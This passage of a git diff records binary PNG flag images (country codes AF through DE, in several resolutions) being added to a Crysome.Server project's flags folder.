/dev/null and b/Crysome.Server/flags/AF@2x.png differ diff --git a/Crysome.Server/flags/AF@3x.png b/Crysome.Server/flags/AF@3x.png new file mode 100644 index 0000000..9795d8c Binary files /dev/null and b/Crysome.Server/flags/AF@3x.png differ diff --git a/Crysome.Server/flags/AG.png b/Crysome.Server/flags/AG.png new file mode 100644 index 0000000..b393130 Binary files /dev/null and b/Crysome.Server/flags/AG.png differ diff --git a/Crysome.Server/flags/AG@2x.png b/Crysome.Server/flags/AG@2x.png new file mode 100644 index 0000000..b1432eb Binary files /dev/null and b/Crysome.Server/flags/AG@2x.png differ diff --git a/Crysome.Server/flags/AG@3x.png b/Crysome.Server/flags/AG@3x.png new file mode 100644 index 0000000..31bd963 Binary files /dev/null and b/Crysome.Server/flags/AG@3x.png differ diff --git a/Crysome.Server/flags/AI.png b/Crysome.Server/flags/AI.png new file mode 100644 index 0000000..ce1ff9d Binary files /dev/null and b/Crysome.Server/flags/AI.png differ diff --git a/Crysome.Server/flags/AI@2x.png b/Crysome.Server/flags/AI@2x.png new file mode 100644 index 0000000..6fa7ae4 Binary files /dev/null and b/Crysome.Server/flags/AI@2x.png differ diff --git a/Crysome.Server/flags/AI@3x.png b/Crysome.Server/flags/AI@3x.png new file mode 100644 index 0000000..b67979b Binary files /dev/null and b/Crysome.Server/flags/AI@3x.png differ diff --git a/Crysome.Server/flags/AL.png b/Crysome.Server/flags/AL.png new file mode 100644 index 0000000..97ca4b2 Binary files /dev/null and b/Crysome.Server/flags/AL.png differ diff --git a/Crysome.Server/flags/AL@2x.png b/Crysome.Server/flags/AL@2x.png new file mode 100644 index 0000000..4d12a58 Binary files /dev/null and b/Crysome.Server/flags/AL@2x.png differ diff --git a/Crysome.Server/flags/AL@3x.png b/Crysome.Server/flags/AL@3x.png new file mode 100644 index 0000000..360254d Binary files /dev/null and b/Crysome.Server/flags/AL@3x.png differ diff --git a/Crysome.Server/flags/AM.png b/Crysome.Server/flags/AM.png new file mode 100644 index 0000000..d3388a3 Binary files /dev/null and b/Crysome.Server/flags/AM.png differ diff --git a/Crysome.Server/flags/AM@2x.png b/Crysome.Server/flags/AM@2x.png new file mode 100644 index 0000000..b7c3e81 Binary files /dev/null and b/Crysome.Server/flags/AM@2x.png differ diff --git a/Crysome.Server/flags/AM@3x.png b/Crysome.Server/flags/AM@3x.png new file mode 100644 index 0000000..0303a67 Binary files /dev/null and b/Crysome.Server/flags/AM@3x.png differ diff --git a/Crysome.Server/flags/AO.png b/Crysome.Server/flags/AO.png new file mode 100644 index 0000000..975cc61 Binary files /dev/null and b/Crysome.Server/flags/AO.png differ diff --git a/Crysome.Server/flags/AO@2x.png b/Crysome.Server/flags/AO@2x.png new file mode 100644 index 0000000..444f3f2 Binary files /dev/null and b/Crysome.Server/flags/AO@2x.png differ diff --git a/Crysome.Server/flags/AO@3x.png b/Crysome.Server/flags/AO@3x.png new file mode 100644 index 0000000..3f25f99 Binary files /dev/null and b/Crysome.Server/flags/AO@3x.png differ diff --git a/Crysome.Server/flags/AR.png b/Crysome.Server/flags/AR.png new file mode 100644 index 0000000..fc95418 Binary files /dev/null and b/Crysome.Server/flags/AR.png differ diff --git a/Crysome.Server/flags/AR@2x.png b/Crysome.Server/flags/AR@2x.png new file mode 100644 index 0000000..3e81243 Binary files /dev/null and b/Crysome.Server/flags/AR@2x.png differ diff --git a/Crysome.Server/flags/AR@3x.png b/Crysome.Server/flags/AR@3x.png new file mode 100644 index 0000000..cfb6c08 Binary files /dev/null and b/Crysome.Server/flags/AR@3x.png differ diff --git a/Crysome.Server/flags/AS.png b/Crysome.Server/flags/AS.png new file mode 100644 index 0000000..0e75e1f Binary files /dev/null and b/Crysome.Server/flags/AS.png differ diff --git a/Crysome.Server/flags/AS@2x.png b/Crysome.Server/flags/AS@2x.png new file mode 100644 index 0000000..6a3cbe9 Binary files /dev/null and b/Crysome.Server/flags/AS@2x.png differ diff --git a/Crysome.Server/flags/AS@3x.png b/Crysome.Server/flags/AS@3x.png new file mode 100644 index 0000000..84f09e5 Binary files /dev/null and b/Crysome.Server/flags/AS@3x.png differ diff --git a/Crysome.Server/flags/AT.png b/Crysome.Server/flags/AT.png new file mode 100644 index 0000000..0cf5bfa Binary files /dev/null and b/Crysome.Server/flags/AT.png differ diff --git a/Crysome.Server/flags/AT@2x.png b/Crysome.Server/flags/AT@2x.png new file mode 100644 index 0000000..a2d4d9c Binary files /dev/null and b/Crysome.Server/flags/AT@2x.png differ diff --git a/Crysome.Server/flags/AT@3x.png b/Crysome.Server/flags/AT@3x.png new file mode 100644 index 0000000..0e68854 Binary files /dev/null and b/Crysome.Server/flags/AT@3x.png differ diff --git a/Crysome.Server/flags/AU.png b/Crysome.Server/flags/AU.png new file mode 100644 index 0000000..6188db2 Binary files /dev/null and b/Crysome.Server/flags/AU.png differ diff --git a/Crysome.Server/flags/AU@2x.png b/Crysome.Server/flags/AU@2x.png new file mode 100644 index 0000000..fdf4527 Binary files /dev/null and b/Crysome.Server/flags/AU@2x.png differ diff --git a/Crysome.Server/flags/AU@3x.png b/Crysome.Server/flags/AU@3x.png new file mode 100644 index 0000000..f362ebb Binary files /dev/null and b/Crysome.Server/flags/AU@3x.png differ diff --git a/Crysome.Server/flags/AW.png b/Crysome.Server/flags/AW.png new file mode 100644 index 0000000..63e10f9 Binary files /dev/null and b/Crysome.Server/flags/AW.png differ diff --git a/Crysome.Server/flags/AW@2x.png b/Crysome.Server/flags/AW@2x.png new file mode 100644 index 0000000..79bfc47 Binary files /dev/null and b/Crysome.Server/flags/AW@2x.png differ diff --git a/Crysome.Server/flags/AW@3x.png b/Crysome.Server/flags/AW@3x.png new file mode 100644 index 0000000..98f15c4 Binary files /dev/null and b/Crysome.Server/flags/AW@3x.png differ diff --git a/Crysome.Server/flags/AX.png b/Crysome.Server/flags/AX.png new file mode 100644 index 0000000..823e17e Binary files /dev/null and b/Crysome.Server/flags/AX.png differ diff --git a/Crysome.Server/flags/AX@2x.png b/Crysome.Server/flags/AX@2x.png new file mode 100644 index 0000000..7172b0a Binary files /dev/null and b/Crysome.Server/flags/AX@2x.png differ diff --git a/Crysome.Server/flags/AX@3x.png b/Crysome.Server/flags/AX@3x.png new file mode 100644 index 0000000..05ddd71 Binary files /dev/null and b/Crysome.Server/flags/AX@3x.png differ diff --git a/Crysome.Server/flags/AZ.png b/Crysome.Server/flags/AZ.png new file mode 100644 index 0000000..0080a02 Binary files /dev/null and b/Crysome.Server/flags/AZ.png differ diff --git a/Crysome.Server/flags/AZ@2x.png b/Crysome.Server/flags/AZ@2x.png new file mode 100644 index 0000000..7075f85 Binary files /dev/null and b/Crysome.Server/flags/AZ@2x.png differ diff --git a/Crysome.Server/flags/AZ@3x.png b/Crysome.Server/flags/AZ@3x.png new file mode 100644 index 0000000..6a39624 Binary files /dev/null and b/Crysome.Server/flags/AZ@3x.png differ diff --git a/Crysome.Server/flags/BA.png b/Crysome.Server/flags/BA.png new file mode 100644 index 0000000..18af34a Binary files /dev/null and b/Crysome.Server/flags/BA.png differ diff --git a/Crysome.Server/flags/BA@2x.png b/Crysome.Server/flags/BA@2x.png new file mode 100644 index 0000000..78eec15 Binary files /dev/null and b/Crysome.Server/flags/BA@2x.png differ diff --git a/Crysome.Server/flags/BA@3x.png b/Crysome.Server/flags/BA@3x.png new file mode 100644 index 0000000..5040b30 Binary files /dev/null and b/Crysome.Server/flags/BA@3x.png differ diff --git a/Crysome.Server/flags/BB.png b/Crysome.Server/flags/BB.png new file mode 100644 index 0000000..797c5d9 Binary files /dev/null and b/Crysome.Server/flags/BB.png differ diff --git a/Crysome.Server/flags/BB@2x.png b/Crysome.Server/flags/BB@2x.png new file mode 100644 index 0000000..5f8c96a Binary files /dev/null and b/Crysome.Server/flags/BB@2x.png differ diff --git a/Crysome.Server/flags/BB@3x.png b/Crysome.Server/flags/BB@3x.png new file mode 100644 index 0000000..ee73b23 Binary files /dev/null and b/Crysome.Server/flags/BB@3x.png differ diff --git a/Crysome.Server/flags/BD.png b/Crysome.Server/flags/BD.png new file mode 100644 index 0000000..c7e8420 Binary files /dev/null and b/Crysome.Server/flags/BD.png differ diff --git a/Crysome.Server/flags/BD@2x.png b/Crysome.Server/flags/BD@2x.png new file mode 100644 index 0000000..5d4bb57 Binary files /dev/null and b/Crysome.Server/flags/BD@2x.png differ diff --git a/Crysome.Server/flags/BD@3x.png b/Crysome.Server/flags/BD@3x.png new file mode 100644 index 0000000..182ce32 Binary files /dev/null and b/Crysome.Server/flags/BD@3x.png differ diff --git a/Crysome.Server/flags/BE.png b/Crysome.Server/flags/BE.png new file mode 100644 index 0000000..ecaa6a3 Binary files /dev/null and b/Crysome.Server/flags/BE.png differ diff --git a/Crysome.Server/flags/BE@2x.png b/Crysome.Server/flags/BE@2x.png new file mode 100644 index 0000000..80b8440 Binary files /dev/null and b/Crysome.Server/flags/BE@2x.png differ diff --git a/Crysome.Server/flags/BE@3x.png b/Crysome.Server/flags/BE@3x.png new file mode 100644 index 0000000..e4c5092 Binary files /dev/null and b/Crysome.Server/flags/BE@3x.png differ diff --git a/Crysome.Server/flags/BF.png b/Crysome.Server/flags/BF.png new file mode 100644 index 0000000..e0c647d Binary files /dev/null and b/Crysome.Server/flags/BF.png differ diff --git a/Crysome.Server/flags/BF@2x.png b/Crysome.Server/flags/BF@2x.png new file mode 100644 index 0000000..37611dc Binary files /dev/null and b/Crysome.Server/flags/BF@2x.png differ diff --git a/Crysome.Server/flags/BF@3x.png b/Crysome.Server/flags/BF@3x.png new file mode 100644 index 0000000..01941d1 Binary files /dev/null and b/Crysome.Server/flags/BF@3x.png differ diff --git a/Crysome.Server/flags/BG.png b/Crysome.Server/flags/BG.png new file mode 100644 index 0000000..feba76b Binary files /dev/null and b/Crysome.Server/flags/BG.png differ diff --git a/Crysome.Server/flags/BG@2x.png b/Crysome.Server/flags/BG@2x.png new file mode 100644 index 0000000..7968dd0 Binary files /dev/null and b/Crysome.Server/flags/BG@2x.png differ diff --git a/Crysome.Server/flags/BG@3x.png b/Crysome.Server/flags/BG@3x.png new file mode 100644 index 0000000..8ffcb61 Binary files /dev/null and b/Crysome.Server/flags/BG@3x.png differ diff --git a/Crysome.Server/flags/BH.png b/Crysome.Server/flags/BH.png new file mode 100644 index 0000000..bb01cd4 Binary files /dev/null and b/Crysome.Server/flags/BH.png differ diff --git a/Crysome.Server/flags/BH@2x.png b/Crysome.Server/flags/BH@2x.png new file mode 100644 index 0000000..fa7af4b Binary files /dev/null and b/Crysome.Server/flags/BH@2x.png differ diff --git a/Crysome.Server/flags/BH@3x.png b/Crysome.Server/flags/BH@3x.png new file mode 100644 index 0000000..07a0e01 Binary files /dev/null and b/Crysome.Server/flags/BH@3x.png differ diff --git a/Crysome.Server/flags/BI.png b/Crysome.Server/flags/BI.png new file mode 100644 index 0000000..bbbc946 Binary files /dev/null and b/Crysome.Server/flags/BI.png differ diff --git a/Crysome.Server/flags/BI@2x.png b/Crysome.Server/flags/BI@2x.png new file mode 100644 index 0000000..cbec7d6 Binary files /dev/null and b/Crysome.Server/flags/BI@2x.png differ diff --git a/Crysome.Server/flags/BI@3x.png b/Crysome.Server/flags/BI@3x.png new file mode 100644 index 0000000..c16e2cd Binary files /dev/null and b/Crysome.Server/flags/BI@3x.png differ diff --git a/Crysome.Server/flags/BJ.png b/Crysome.Server/flags/BJ.png new file mode 100644 index 0000000..02a1f37 Binary files /dev/null and b/Crysome.Server/flags/BJ.png differ diff --git a/Crysome.Server/flags/BJ@2x.png b/Crysome.Server/flags/BJ@2x.png new file mode 100644 index 0000000..96ed2fc Binary files /dev/null and b/Crysome.Server/flags/BJ@2x.png differ diff --git a/Crysome.Server/flags/BJ@3x.png b/Crysome.Server/flags/BJ@3x.png new file mode 100644 index 0000000..56bfbf3 Binary files /dev/null and b/Crysome.Server/flags/BJ@3x.png differ diff --git a/Crysome.Server/flags/BL.png b/Crysome.Server/flags/BL.png new file mode 100644 index 0000000..346418c Binary files /dev/null and b/Crysome.Server/flags/BL.png differ diff --git a/Crysome.Server/flags/BL@2x.png b/Crysome.Server/flags/BL@2x.png new file mode 100644 index 0000000..88a5348 Binary files /dev/null and b/Crysome.Server/flags/BL@2x.png differ diff --git a/Crysome.Server/flags/BL@3x.png b/Crysome.Server/flags/BL@3x.png new file mode 100644 index 0000000..ee034f2 Binary files /dev/null and b/Crysome.Server/flags/BL@3x.png differ diff --git a/Crysome.Server/flags/BM.png b/Crysome.Server/flags/BM.png new file mode 100644 index 0000000..4c0bb15 Binary files /dev/null and b/Crysome.Server/flags/BM.png differ diff --git a/Crysome.Server/flags/BM@2x.png b/Crysome.Server/flags/BM@2x.png new file mode 100644 index 0000000..6f83478 Binary files /dev/null and b/Crysome.Server/flags/BM@2x.png differ diff --git a/Crysome.Server/flags/BM@3x.png b/Crysome.Server/flags/BM@3x.png new file mode 100644 index 0000000..389875a Binary files /dev/null and b/Crysome.Server/flags/BM@3x.png differ diff --git a/Crysome.Server/flags/BN.png b/Crysome.Server/flags/BN.png new file mode 100644 index 0000000..8b226a3 Binary files /dev/null and b/Crysome.Server/flags/BN.png differ diff --git a/Crysome.Server/flags/BN@2x.png b/Crysome.Server/flags/BN@2x.png new file mode 100644 index 0000000..e1a2825 Binary files /dev/null and b/Crysome.Server/flags/BN@2x.png differ diff --git a/Crysome.Server/flags/BN@3x.png b/Crysome.Server/flags/BN@3x.png new file mode 100644 index 0000000..aeb824d Binary files /dev/null and b/Crysome.Server/flags/BN@3x.png differ diff --git a/Crysome.Server/flags/BO.png b/Crysome.Server/flags/BO.png new file mode 100644 index 0000000..9dc077a Binary files /dev/null and b/Crysome.Server/flags/BO.png differ diff --git a/Crysome.Server/flags/BO@2x.png b/Crysome.Server/flags/BO@2x.png new file mode 100644 index 0000000..25e4963 Binary files /dev/null and b/Crysome.Server/flags/BO@2x.png differ diff --git a/Crysome.Server/flags/BO@3x.png b/Crysome.Server/flags/BO@3x.png new file mode 100644 index 0000000..1ff4a77 Binary files /dev/null and b/Crysome.Server/flags/BO@3x.png differ diff --git a/Crysome.Server/flags/BR.png b/Crysome.Server/flags/BR.png new file mode 100644 index 0000000..c8de59c Binary files /dev/null and b/Crysome.Server/flags/BR.png differ diff --git a/Crysome.Server/flags/BR@2x.png b/Crysome.Server/flags/BR@2x.png new file mode 100644 index 0000000..cb723c0 Binary files /dev/null and b/Crysome.Server/flags/BR@2x.png differ diff --git a/Crysome.Server/flags/BR@3x.png b/Crysome.Server/flags/BR@3x.png new file mode 100644 index 0000000..5a6ba10 Binary files /dev/null and b/Crysome.Server/flags/BR@3x.png differ diff --git a/Crysome.Server/flags/BS.png b/Crysome.Server/flags/BS.png new file mode 100644 index 0000000..43ecfd7 Binary files /dev/null and b/Crysome.Server/flags/BS.png differ diff --git a/Crysome.Server/flags/BS@2x.png b/Crysome.Server/flags/BS@2x.png new file mode 100644 index 0000000..ddf3cc6 Binary files /dev/null and b/Crysome.Server/flags/BS@2x.png differ diff --git a/Crysome.Server/flags/BS@3x.png b/Crysome.Server/flags/BS@3x.png new file mode 100644 index 0000000..c176105 Binary files /dev/null and b/Crysome.Server/flags/BS@3x.png differ diff --git a/Crysome.Server/flags/BT.png b/Crysome.Server/flags/BT.png new file mode 100644 index 0000000..1f5631b Binary files /dev/null and b/Crysome.Server/flags/BT.png differ diff --git a/Crysome.Server/flags/BT@2x.png b/Crysome.Server/flags/BT@2x.png new file mode 100644 index 0000000..caeb304 Binary files /dev/null and b/Crysome.Server/flags/BT@2x.png differ diff --git a/Crysome.Server/flags/BT@3x.png b/Crysome.Server/flags/BT@3x.png new file mode 100644 index 0000000..74cf75a Binary files /dev/null and b/Crysome.Server/flags/BT@3x.png differ diff --git a/Crysome.Server/flags/BV.png b/Crysome.Server/flags/BV.png new file mode 100644 index 0000000..a0033be Binary files /dev/null and b/Crysome.Server/flags/BV.png differ diff --git a/Crysome.Server/flags/BV@2x.png b/Crysome.Server/flags/BV@2x.png new file mode 100644 index 0000000..4110d55 Binary files /dev/null and b/Crysome.Server/flags/BV@2x.png differ diff --git a/Crysome.Server/flags/BV@3x.png b/Crysome.Server/flags/BV@3x.png new file mode 100644 index 0000000..879d0ce Binary files /dev/null and b/Crysome.Server/flags/BV@3x.png differ diff --git a/Crysome.Server/flags/BW.png b/Crysome.Server/flags/BW.png new file mode 100644 index 0000000..efa5cea Binary files /dev/null and b/Crysome.Server/flags/BW.png differ diff --git a/Crysome.Server/flags/BW@2x.png b/Crysome.Server/flags/BW@2x.png new file mode 100644 index 0000000..a3f12b9 Binary files /dev/null and b/Crysome.Server/flags/BW@2x.png differ diff --git a/Crysome.Server/flags/BW@3x.png b/Crysome.Server/flags/BW@3x.png new file mode 100644 index 0000000..67921f5 Binary files /dev/null and b/Crysome.Server/flags/BW@3x.png differ diff --git a/Crysome.Server/flags/BY.png b/Crysome.Server/flags/BY.png new file mode 100644 index 0000000..648ad6a Binary files /dev/null and b/Crysome.Server/flags/BY.png differ diff --git a/Crysome.Server/flags/BY@2x.png b/Crysome.Server/flags/BY@2x.png new file mode 100644 index 0000000..1351cfa Binary files /dev/null and b/Crysome.Server/flags/BY@2x.png differ diff --git a/Crysome.Server/flags/BY@3x.png b/Crysome.Server/flags/BY@3x.png new file mode 100644 index 0000000..cf6e389 Binary files /dev/null and b/Crysome.Server/flags/BY@3x.png differ diff --git a/Crysome.Server/flags/BZ.png b/Crysome.Server/flags/BZ.png new file mode 100644 index 0000000..0ab6c57 Binary files /dev/null and b/Crysome.Server/flags/BZ.png differ diff --git a/Crysome.Server/flags/BZ@2x.png b/Crysome.Server/flags/BZ@2x.png new file mode 100644 index 0000000..207c4cc Binary files /dev/null and b/Crysome.Server/flags/BZ@2x.png differ diff --git a/Crysome.Server/flags/BZ@3x.png b/Crysome.Server/flags/BZ@3x.png new file mode 100644 index 0000000..8ebbdc3 Binary files /dev/null and b/Crysome.Server/flags/BZ@3x.png differ diff --git a/Crysome.Server/flags/CA.png b/Crysome.Server/flags/CA.png new file mode 100644 index 0000000..8e2b2f6 Binary files /dev/null and b/Crysome.Server/flags/CA.png differ diff --git a/Crysome.Server/flags/CA@2x.png b/Crysome.Server/flags/CA@2x.png new file mode 100644 index 0000000..b86ea22 Binary files /dev/null and b/Crysome.Server/flags/CA@2x.png differ diff --git a/Crysome.Server/flags/CA@3x.png b/Crysome.Server/flags/CA@3x.png new file mode 100644 index 0000000..51af35e Binary files /dev/null and b/Crysome.Server/flags/CA@3x.png differ diff --git a/Crysome.Server/flags/CAF.png b/Crysome.Server/flags/CAF.png new file mode 100644 index 0000000..51c767c Binary files /dev/null and b/Crysome.Server/flags/CAF.png differ diff --git a/Crysome.Server/flags/CAS.png b/Crysome.Server/flags/CAS.png new file mode 100644 index 0000000..d7e2fda Binary files /dev/null and b/Crysome.Server/flags/CAS.png differ diff --git a/Crysome.Server/flags/CC.png b/Crysome.Server/flags/CC.png new file mode 100644 index 0000000..c491f22 Binary files /dev/null and b/Crysome.Server/flags/CC.png differ diff --git a/Crysome.Server/flags/CC@2x.png b/Crysome.Server/flags/CC@2x.png new file mode 100644 index 0000000..3ad4980 Binary files /dev/null and b/Crysome.Server/flags/CC@2x.png differ diff --git a/Crysome.Server/flags/CC@3x.png b/Crysome.Server/flags/CC@3x.png new file mode 100644 index 0000000..7cba560 Binary files /dev/null and b/Crysome.Server/flags/CC@3x.png differ diff --git a/Crysome.Server/flags/CD.png b/Crysome.Server/flags/CD.png new file mode 100644 index 0000000..0ad2619 Binary files /dev/null and b/Crysome.Server/flags/CD.png differ diff --git a/Crysome.Server/flags/CD@2x.png b/Crysome.Server/flags/CD@2x.png new file mode 100644 index 0000000..350dc7f Binary files /dev/null and b/Crysome.Server/flags/CD@2x.png differ diff --git a/Crysome.Server/flags/CD@3x.png b/Crysome.Server/flags/CD@3x.png new file mode 100644 index 0000000..a57bcca Binary files /dev/null and b/Crysome.Server/flags/CD@3x.png differ diff --git a/Crysome.Server/flags/CF.png b/Crysome.Server/flags/CF.png new file mode 100644 index 0000000..1353621 Binary files /dev/null and b/Crysome.Server/flags/CF.png differ diff --git a/Crysome.Server/flags/CF@2x.png b/Crysome.Server/flags/CF@2x.png new file mode 100644 index 0000000..9917bff Binary files /dev/null and b/Crysome.Server/flags/CF@2x.png differ diff --git a/Crysome.Server/flags/CF@3x.png b/Crysome.Server/flags/CF@3x.png new file mode 100644 index 0000000..061e7b5 Binary files /dev/null and b/Crysome.Server/flags/CF@3x.png differ diff --git a/Crysome.Server/flags/CG.png b/Crysome.Server/flags/CG.png new file mode 100644 index 0000000..24e43a0 Binary files /dev/null and b/Crysome.Server/flags/CG.png differ diff --git a/Crysome.Server/flags/CG@2x.png b/Crysome.Server/flags/CG@2x.png new file mode 100644 index 0000000..53851c8 Binary files /dev/null and b/Crysome.Server/flags/CG@2x.png differ diff --git a/Crysome.Server/flags/CG@3x.png b/Crysome.Server/flags/CG@3x.png new file mode 100644 index 0000000..51656ea Binary files /dev/null and b/Crysome.Server/flags/CG@3x.png differ diff --git a/Crysome.Server/flags/CH.png b/Crysome.Server/flags/CH.png new file mode 100644 index 0000000..8aa75dd Binary files /dev/null and b/Crysome.Server/flags/CH.png differ diff --git a/Crysome.Server/flags/CH@2x.png b/Crysome.Server/flags/CH@2x.png new file mode 100644 index 0000000..8cd8cc8 Binary files /dev/null and b/Crysome.Server/flags/CH@2x.png differ diff --git a/Crysome.Server/flags/CH@3x.png b/Crysome.Server/flags/CH@3x.png new file mode 100644 index 0000000..aaed3fa Binary files /dev/null and b/Crysome.Server/flags/CH@3x.png differ diff --git a/Crysome.Server/flags/CI.png b/Crysome.Server/flags/CI.png new file mode 100644 index 0000000..f2b9681 Binary files /dev/null and b/Crysome.Server/flags/CI.png differ diff --git a/Crysome.Server/flags/CI@2x.png b/Crysome.Server/flags/CI@2x.png new file mode 100644 index 0000000..3726895 Binary files /dev/null and b/Crysome.Server/flags/CI@2x.png differ diff --git a/Crysome.Server/flags/CI@3x.png b/Crysome.Server/flags/CI@3x.png new file mode 100644 index 0000000..8ceb4dd Binary files /dev/null and b/Crysome.Server/flags/CI@3x.png differ diff --git a/Crysome.Server/flags/CK.png b/Crysome.Server/flags/CK.png new file mode 100644 index 0000000..1726e1f Binary files /dev/null and b/Crysome.Server/flags/CK.png differ diff --git a/Crysome.Server/flags/CK@2x.png b/Crysome.Server/flags/CK@2x.png new file mode 100644 index 0000000..5a9c1c1 Binary files /dev/null and b/Crysome.Server/flags/CK@2x.png differ diff --git a/Crysome.Server/flags/CK@3x.png b/Crysome.Server/flags/CK@3x.png new file mode 100644 index 0000000..26fda5b Binary files /dev/null and b/Crysome.Server/flags/CK@3x.png differ diff --git a/Crysome.Server/flags/CL.png b/Crysome.Server/flags/CL.png new file mode 100644 index 0000000..89ac02d Binary files /dev/null and b/Crysome.Server/flags/CL.png differ diff --git a/Crysome.Server/flags/CL@2x.png b/Crysome.Server/flags/CL@2x.png new file mode 100644 index 0000000..3a07f50 Binary files /dev/null and b/Crysome.Server/flags/CL@2x.png differ diff --git a/Crysome.Server/flags/CL@3x.png b/Crysome.Server/flags/CL@3x.png new file mode 100644 index 0000000..7439242 Binary files /dev/null and b/Crysome.Server/flags/CL@3x.png differ diff --git a/Crysome.Server/flags/CM.png b/Crysome.Server/flags/CM.png new file mode 100644 index 0000000..d3402a1 Binary files /dev/null and b/Crysome.Server/flags/CM.png differ diff --git a/Crysome.Server/flags/CM@2x.png b/Crysome.Server/flags/CM@2x.png new file mode 100644 index 0000000..ab09e1a Binary files /dev/null and b/Crysome.Server/flags/CM@2x.png differ diff --git a/Crysome.Server/flags/CM@3x.png b/Crysome.Server/flags/CM@3x.png new file mode 100644 index 0000000..082fc27 Binary files /dev/null and b/Crysome.Server/flags/CM@3x.png differ diff --git a/Crysome.Server/flags/CN.png b/Crysome.Server/flags/CN.png new file mode 100644 index 0000000..af8ebf8 Binary files /dev/null and b/Crysome.Server/flags/CN.png differ diff --git a/Crysome.Server/flags/CN@2x.png b/Crysome.Server/flags/CN@2x.png new file mode 100644 index 0000000..50aa482 Binary files /dev/null and b/Crysome.Server/flags/CN@2x.png differ diff --git a/Crysome.Server/flags/CN@3x.png b/Crysome.Server/flags/CN@3x.png new file mode 100644 index 0000000..60ce47e Binary files /dev/null and b/Crysome.Server/flags/CN@3x.png differ diff --git a/Crysome.Server/flags/CNA.png b/Crysome.Server/flags/CNA.png new file mode 100644 index 0000000..cb79efc Binary files /dev/null and b/Crysome.Server/flags/CNA.png differ diff --git a/Crysome.Server/flags/CO.png b/Crysome.Server/flags/CO.png new file mode 100644 index 0000000..fb694a3 Binary files /dev/null and b/Crysome.Server/flags/CO.png differ diff --git a/Crysome.Server/flags/CO@2x.png b/Crysome.Server/flags/CO@2x.png new file mode 100644 index 0000000..fd68e99 Binary files /dev/null and b/Crysome.Server/flags/CO@2x.png differ diff --git a/Crysome.Server/flags/CO@3x.png b/Crysome.Server/flags/CO@3x.png new file mode 100644 index 0000000..8a4031c Binary files /dev/null and b/Crysome.Server/flags/CO@3x.png differ diff --git a/Crysome.Server/flags/COC.png b/Crysome.Server/flags/COC.png new file mode 100644 index 0000000..ec84cfe Binary files /dev/null and b/Crysome.Server/flags/COC.png differ diff --git a/Crysome.Server/flags/CR.png b/Crysome.Server/flags/CR.png new file mode 100644 index 0000000..84ae9a2 Binary files /dev/null and b/Crysome.Server/flags/CR.png differ diff --git a/Crysome.Server/flags/CR@2x.png b/Crysome.Server/flags/CR@2x.png new file mode 100644 index 0000000..530f25f Binary files /dev/null and b/Crysome.Server/flags/CR@2x.png differ diff --git a/Crysome.Server/flags/CR@3x.png b/Crysome.Server/flags/CR@3x.png new file mode 100644 index 0000000..fda89cf Binary files /dev/null and b/Crysome.Server/flags/CR@3x.png differ diff --git a/Crysome.Server/flags/CSA.png b/Crysome.Server/flags/CSA.png new file mode 100644 index 0000000..7fea26f Binary files /dev/null and b/Crysome.Server/flags/CSA.png differ diff --git a/Crysome.Server/flags/CU.png b/Crysome.Server/flags/CU.png new file mode 100644 index 0000000..99c5d69 Binary files /dev/null and b/Crysome.Server/flags/CU.png differ diff --git a/Crysome.Server/flags/CU@2x.png b/Crysome.Server/flags/CU@2x.png new file mode 100644 index 0000000..12e574a Binary files /dev/null and b/Crysome.Server/flags/CU@2x.png differ diff --git a/Crysome.Server/flags/CU@3x.png b/Crysome.Server/flags/CU@3x.png new file mode 100644 index 0000000..abd4280 Binary files /dev/null and b/Crysome.Server/flags/CU@3x.png differ diff --git a/Crysome.Server/flags/CV.png b/Crysome.Server/flags/CV.png new file mode 100644 index 0000000..7d6f542 Binary files /dev/null and b/Crysome.Server/flags/CV.png differ diff --git a/Crysome.Server/flags/CV@2x.png b/Crysome.Server/flags/CV@2x.png new file mode 100644 index 0000000..a625307 Binary files /dev/null and b/Crysome.Server/flags/CV@2x.png differ diff --git a/Crysome.Server/flags/CV@3x.png b/Crysome.Server/flags/CV@3x.png new file mode 100644 index 0000000..f24fb5b Binary files /dev/null and b/Crysome.Server/flags/CV@3x.png differ diff --git a/Crysome.Server/flags/CW.png b/Crysome.Server/flags/CW.png new file mode 100644 index 0000000..65e1cba Binary files /dev/null and b/Crysome.Server/flags/CW.png differ diff --git a/Crysome.Server/flags/CW@2x.png b/Crysome.Server/flags/CW@2x.png new file mode 100644 index 0000000..f3de585 Binary files /dev/null and b/Crysome.Server/flags/CW@2x.png differ diff --git a/Crysome.Server/flags/CW@3x.png b/Crysome.Server/flags/CW@3x.png new file mode 100644 index 0000000..edb13e6 Binary files /dev/null and b/Crysome.Server/flags/CW@3x.png differ diff --git a/Crysome.Server/flags/CX.png b/Crysome.Server/flags/CX.png new file mode 100644 index 0000000..ca7dc23 Binary files /dev/null and b/Crysome.Server/flags/CX.png differ diff --git a/Crysome.Server/flags/CX@2x.png b/Crysome.Server/flags/CX@2x.png new file mode 100644 index 0000000..fa323df Binary files /dev/null and b/Crysome.Server/flags/CX@2x.png differ diff --git a/Crysome.Server/flags/CX@3x.png b/Crysome.Server/flags/CX@3x.png new file mode 100644 index 0000000..d6d83ce Binary files /dev/null and b/Crysome.Server/flags/CX@3x.png differ diff --git a/Crysome.Server/flags/CY.png b/Crysome.Server/flags/CY.png new file mode 100644 index 0000000..797a1b6 Binary files /dev/null and b/Crysome.Server/flags/CY.png differ diff --git a/Crysome.Server/flags/CY@2x.png b/Crysome.Server/flags/CY@2x.png new file mode 100644 index 0000000..e90fde5 Binary files /dev/null and b/Crysome.Server/flags/CY@2x.png differ diff --git a/Crysome.Server/flags/CY@3x.png b/Crysome.Server/flags/CY@3x.png new file mode 100644 index 0000000..d54e3d2 Binary files /dev/null and b/Crysome.Server/flags/CY@3x.png differ diff --git a/Crysome.Server/flags/CZ.png b/Crysome.Server/flags/CZ.png new file mode 100644 index 0000000..cfc0e86 Binary files /dev/null and b/Crysome.Server/flags/CZ.png differ diff --git a/Crysome.Server/flags/CZ@2x.png b/Crysome.Server/flags/CZ@2x.png new file mode 100644 index 0000000..bdac43e Binary files /dev/null and b/Crysome.Server/flags/CZ@2x.png differ diff --git a/Crysome.Server/flags/CZ@3x.png b/Crysome.Server/flags/CZ@3x.png new file mode 100644 index 0000000..246960f Binary files /dev/null and b/Crysome.Server/flags/CZ@3x.png differ diff --git a/Crysome.Server/flags/DE.png b/Crysome.Server/flags/DE.png new file mode 100644 index 0000000..c451865 Binary files /dev/null and b/Crysome.Server/flags/DE.png differ diff --git a/Crysome.Server/flags/DE@2x.png b/Crysome.Server/flags/DE@2x.png new file mode 100644 index 0000000..54b8510 Binary files /dev/null and b/Crysome.Server/flags/DE@2x.png differ diff --git a/Crysome.Server/flags/DE@3x.png b/Crysome.Server/flags/DE@3x.png new file mode 